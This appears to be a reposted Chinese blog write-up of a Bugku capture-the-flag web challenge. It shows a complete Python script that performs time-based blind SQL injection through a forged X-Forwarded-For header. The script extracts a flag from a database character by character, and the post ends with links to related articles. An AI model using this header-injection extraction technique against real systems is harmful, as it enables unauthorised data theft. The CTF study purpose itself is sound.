bugku_web_INSERT INTO 注入

Posted 明卿册

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bugku_web_INSERT INTO 注入相关的知识,希望对你有一定的参考价值。

首先一打开就能看到源码,放到notepad++里面审计一下:

大概懂了这段代码的意思:获取你的ip,然后把你的ip插入到client_ip表中的ip列中去。

接下来就是将注入命令不停地赋值给“ip地址”,

然后来猜测flag表里的flag列的值//这就算是出题人和做题人之间的一种默契啦。

# -*- coding:utf-8 -*-
import requests
import sys

sql = "127.0.0.1\'+(select case when substr((select flag from flag) from {0} for 1)=\'{1}\' then sleep(5) else 0 end))-- +"
url = \'http://120.24.86.145:8002/web15/\'
flag = \'\'
for i in range(1,50):
    # 怀疑flag有40个那么长,所以以40为长度进行猜测
    print(\'正在猜测:\',str(i))
    # 把i变成字符串格式输出出来
    for ch in range(32,129):
        # 遍历整个acsii码表
        if ch == 128:
            sys.exit(0)
            # 如果都跑都这儿了,说明有问题了,程序退出
        sqli = sql.format(i,chr(ch))
        # format是格式化输出语句,i给到sql语句的{0}位置,chr(ch)给到{1}的位置。(chr()的作用是根据acsii码值返回对应的字符)
        # print(sqli)
        header = {
            \'X-Forwarded-For\':sqli
            # 每次去伪造不同的ip(注入命令)嘛
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        # 大部分的情况肯定是猜错了,如果错了(等待超过三秒),那就继续循环;
        # 如果对了(对脚本来说属于异常),那就跳到异常
        except:
            flag += chr(ch)
            print(flag)
            break

  最后得到flag

 

以上是关于bugku_web_INSERT INTO 注入的主要内容,如果未能解决你的问题,请参考以下文章

unable to inject dll into target怎么解决?

sqli-labs less7 GET - Dump into outfile - String (导出文件GET字符型注入)

Inject Payload Into Normal Files

Android 逆向Android 进程注入工具开发 ( 注入代码分析 | 远程调用 目标进程中 libc.so 动态库中的 mmap 函数 三 | 等待远程函数执行完毕 | 寄存器获取返回值 )(代

SQL注入之outfile

IOC 控制反转Android 事件依赖注入 ( 事件依赖注入具体的操作细节 | 获取 Activity 中的所有方法 | 获取方法上的注解 | 获取注解上的注解 | 通过注解属性获取事件信息 )(代